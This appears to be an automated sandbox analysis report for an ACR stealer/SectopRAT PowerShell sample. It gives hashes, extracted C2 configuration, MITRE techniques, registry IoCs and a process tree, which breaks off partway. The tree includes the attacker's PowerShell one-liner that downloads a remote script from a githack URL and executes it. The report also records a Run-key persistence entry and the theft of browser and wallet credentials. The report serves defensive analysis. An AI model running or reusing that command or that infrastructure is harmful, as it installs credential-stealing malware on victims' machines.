acrstealer | 37a14cae1bbd8bafef6fa39387e0c75f33d0b72ec40690cea06635826add3def

Analysis

max time kernel
148s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/09/2026, 12:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hfgd645j.ps1
Size 93KB
Sample260924-pf91esdf79
SHA256 37a14cae1bbd8bafef6fa39387e0c75f33d0b72ec40690cea06635826add3def
MD5 336377c5d13e24ee70e6b61dbdd1a7cf
SHA1 f671c45a34f1a230d2c858736bbe79021b282cab
SHA512 6f1cef48b6b96d0400dcdccd4c994def67dc91c504e2562f1a69fb10e6bcc6d890e398431fafd86b3f70703ca14b430ef79a85dc5eb22f9254c39c02f9b3af1f
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdj9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnNu
TLSH
T1EF9323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer sectoprat persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

media.hazelnook.cc

Decoy

fastly.net

Attributes

ddrs
https://telegra.ph/C-Introduction-08-21
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd84c-02e7-7a67-9097-4f73d632de4a
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Family: SectopRAT
SectopRAT also known as Arechclient2 is a remote access trojan first seen in November 2019.
trojan rat sectoprat

Detects SectopRAT aka Arechclient2 1 IoCs

resource	yara_rule
behavioral1/memory/5368-5952-0x0000000000400000-0x000000000046C000-memory.dmp	family_sectoprat

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3508 created 3228	3508	rundll32.exe	55
PID 3508 created 3228	3508	rundll32.exe	55
PID 3508 created 3228	3508	rundll32.exe	55

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
20	3932	powershell.exe
22	3932	powershell.exe
23	3508	rundll32.exe
24	3508	rundll32.exe
222	3508	rundll32.exe
223	3508	rundll32.exe
224	3508	rundll32.exe
225	3508	rundll32.exe
227	4960	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3544	AutoIt3.exe
5368	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_11E9365CAE7D306ED3CD56E1B0DA0412 = "\"C:\\Users\\Admin\\AppData\\Roaming\\f593ea61e834\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\f593ea61e834\\Fabrics.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1344	powershell.exe
4960	powershell.exe
3932	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
22	raw.githubusercontent.com
21	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3544 set thread context of 5368	3544	AutoIt3.exe	164

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4472	chrome.exe
1924	msedge.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134347260947591139"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-240542094-4193773837-3211495583-1000\{F02E0D59-3769-4560-AE0F-144C837BC84B}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1344	powershell.exe
1344	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
3508	rundll32.exe
3508	rundll32.exe
3508	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4196	msedge.exe
4196	msedge.exe
4196	msedge.exe
4196	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeShutdownPrivilege	4296	chrome.exe
Token: SeCreatePagefilePrivilege	4296	chrome.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeIncreaseQuotaPrivilege	4960	powershell.exe
Token: SeSecurityPrivilege	4960	powershell.exe
Token: SeTakeOwnershipPrivilege	4960	powershell.exe
Token: SeLoadDriverPrivilege	4960	powershell.exe
Token: SeSystemProfilePrivilege	4960	powershell.exe
Token: SeSystemtimePrivilege	4960	powershell.exe
Token: SeProfSingleProcessPrivilege	4960	powershell.exe
Token: SeIncBasePriorityPrivilege	4960	powershell.exe
Token: SeCreatePagefilePrivilege	4960	powershell.exe
Token: SeBackupPrivilege	4960	powershell.exe
Token: SeRestorePrivilege	4960	powershell.exe
Token: SeShutdownPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeSystemEnvironmentPrivilege	4960	powershell.exe
Token: SeRemoteShutdownPrivilege	4960	powershell.exe
Token: SeUndockPrivilege	4960	powershell.exe
Token: SeManageVolumePrivilege	4960	powershell.exe
Token: 33	4960	powershell.exe
Token: 34	4960	powershell.exe
Token: 35	4960	powershell.exe
Token: 36	4960	powershell.exe
Token: SeIncreaseQuotaPrivilege	4960	powershell.exe
Token: SeSecurityPrivilege	4960	powershell.exe
Token: SeTakeOwnershipPrivilege	4960	powershell.exe
Token: SeLoadDriverPrivilege	4960	powershell.exe
Token: SeSystemProfilePrivilege	4960	powershell.exe
Token: SeSystemtimePrivilege	4960	powershell.exe
Token: SeProfSingleProcessPrivilege	4960	powershell.exe
Token: SeIncBasePriorityPrivilege	4960	powershell.exe
Token: SeCreatePagefilePrivilege	4960	powershell.exe
Token: SeBackupPrivilege	4960	powershell.exe
Token: SeRestorePrivilege	4960	powershell.exe
Token: SeShutdownPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeSystemEnvironmentPrivilege	4960	powershell.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4296	chrome.exe
4196	msedge.exe
4196	msedge.exe
5676	firefox.exe
3544	AutoIt3.exe
3544	AutoIt3.exe
3544	AutoIt3.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3544	AutoIt3.exe
3544	AutoIt3.exe
3544	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 2540	1344	powershell.exe	87
PID 2540 wrote to memory of 2384	2540	csc.exe	88
PID 1344 wrote to memory of 5012	1344	powershell.exe	89
PID 5012 wrote to memory of 3716	5012	csc.exe	90
PID 1344 wrote to memory of 3932	1344	powershell.exe	92
PID 3932 wrote to memory of 3508	3932	powershell.exe	100
PID 3932 wrote to memory of 3508	3932	powershell.exe	100
PID 3508 wrote to memory of 4296	3508	rundll32.exe	102
PID 4296 wrote to memory of 3288	4296	chrome.exe	103
PID 4296 wrote to memory of 4660	4296	chrome.exe	104
PID 4296 wrote to memory of 4472	4296	chrome.exe	105
PID 4296 wrote to memory of 4660	4296	chrome.exe	104
PID 4296 wrote to memory of 3544	4296	chrome.exe	107
PID 4296 wrote to memory of 3544	4296	chrome.exe	107
PID 4296 wrote to memory of 4960	4296	chrome.exe	108
PID 4296 wrote to memory of 4960	4296	chrome.exe	108
PID 4296 wrote to memory of 3136	4296	chrome.exe	109
PID 4296 wrote to memory of 3136	4296	chrome.exe	109
PID 4296 wrote to memory of 4224	4296	chrome.exe	110
PID 4296 wrote to memory of 4224	4296	chrome.exe	110
PID 4296 wrote to memory of 3716	4296	chrome.exe	111
PID 4296 wrote to memory of 3716	4296	chrome.exe	111
PID 4296 wrote to memory of 2924	4296	chrome.exe	113
PID 3508 wrote to memory of 4196	3508	rundll32.exe	116
PID 4196 wrote to memory of 1252	4196	msedge.exe	117
PID 4196 wrote to memory of 2424	4196	msedge.exe	118
PID 4196 wrote to memory of 1924	4196	msedge.exe	119
PID 4196 wrote to memory of 2424	4196	msedge.exe	118
PID 4196 wrote to memory of 2424	4196	msedge.exe	118
PID 4196 wrote to memory of 212	4196	msedge.exe	121
PID 4196 wrote to memory of 212	4196	msedge.exe	121
PID 4196 wrote to memory of 1056	4196	msedge.exe	123
PID 4196 wrote to memory of 1056	4196	msedge.exe	123
PID 4196 wrote to memory of 1056	4196	msedge.exe	123
PID 4196 wrote to memory of 3004	4196	msedge.exe	122
PID 4196 wrote to memory of 3004	4196	msedge.exe	122
PID 4196 wrote to memory of 3004	4196	msedge.exe	122
PID 4196 wrote to memory of 5192	4196	msedge.exe	125
PID 4196 wrote to memory of 5192	4196	msedge.exe	125
PID 4196 wrote to memory of 5192	4196	msedge.exe	125
PID 4196 wrote to memory of 5180	4196	msedge.exe	124
PID 4196 wrote to memory of 5180	4196	msedge.exe	124
PID 4196 wrote to memory of 5180	4196	msedge.exe	124
PID 4196 wrote to memory of 5796	4196	msedge.exe	127
PID 4196 wrote to memory of 5796	4196	msedge.exe	127
PID 4196 wrote to memory of 5300	4196	msedge.exe	128
PID 4196 wrote to memory of 5300	4196	msedge.exe	128
PID 4196 wrote to memory of 5436	4196	msedge.exe	129
PID 4196 wrote to memory of 5460	4196	msedge.exe	130
PID 4196 wrote to memory of 5436	4196	msedge.exe	129
PID 4196 wrote to memory of 5460	4196	msedge.exe	130
PID 4196 wrote to memory of 5844	4196	msedge.exe	133
PID 4196 wrote to memory of 5044	4196	msedge.exe	135
PID 4196 wrote to memory of 5044	4196	msedge.exe	135
PID 4196 wrote to memory of 5408	4196	msedge.exe	136
PID 4196 wrote to memory of 5408	4196	msedge.exe	136
PID 4196 wrote to memory of 5528	4196	msedge.exe	137
PID 4196 wrote to memory of 5528	4196	msedge.exe	137
PID 4196 wrote to memory of 5816	4196	msedge.exe	138
PID 4196 wrote to memory of 5816	4196	msedge.exe	138
PID 4196 wrote to memory of 3196	4196	msedge.exe	139
PID 4196 wrote to memory of 3196	4196	msedge.exe	139
PID 5588 wrote to memory of 5676	5588	firefox.exe	143
PID 5588 wrote to memory of 5676	5588	firefox.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\hfgd645j.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1344
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mlvnsq0q\mlvnsq0q.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES752B.tmp" "c:\Users\Admin\AppData\Local\Temp\mlvnsq0q\CSCCABD2B2256264D17987819A880816FDA.TMP"
      4⤵
      PID:2384
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dfsk1ghp\dfsk1ghp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES75F6.tmp" "c:\Users\Admin\AppData\Local\Temp\dfsk1ghp\CSC55403CA5D3484FA8B931394069874CB6.TMP"
      4⤵
      PID:3716
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/retwiry2536/djhgrgfd375654/refs/heads/main/6477563etr | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3508
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\767ufkR7ikoRPaW8\767ufkEaGguvLNMV.ps1"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4960
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4q5ps0kd\4q5ps0kd.cmdline"
        6⤵
        
        PID:6116
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3CD0.tmp" "c:\Users\Admin\AppData\Local\Temp\4q5ps0kd\CSCEBB7E81DB01E4CCCADEDC26F37F1BAC.TMP"
        7⤵
        
        PID:5636
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ra5rn331\ra5rn331.cmdline"
        6⤵
        
        PID:6056
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3E38.tmp" "c:\Users\Admin\AppData\Local\Temp\ra5rn331\CSCB4017FBC3AB4D869AD1E9A66392C4DA.TMP"
        7⤵
        
        PID:5312
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff8ac28c728,0x7ff8ac28c734,0x7ff8ac28c740
    3⤵
    PID:3288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,5614625166300827925,6377926479836440856,262144 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1984 /prefetch:2
    3⤵
    PID:4660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2128,i,16486807921269616029,16672442355712432501,524288 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2152 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,3510958453336997798,8342942111196069125,524288 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2556 /prefetch:8
    3⤵
    PID:3544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3160,i,5334214417098716177,5766853114581710250,2097152 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3156 /prefetch:1
    3⤵
    PID:4960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,16974461474554160430,5980491680979645428,2097152 --field-trial-handle=1992,i,16375282763449438710,8437075998857510286,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3136 /prefetch:1
    3⤵
    PID:3136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
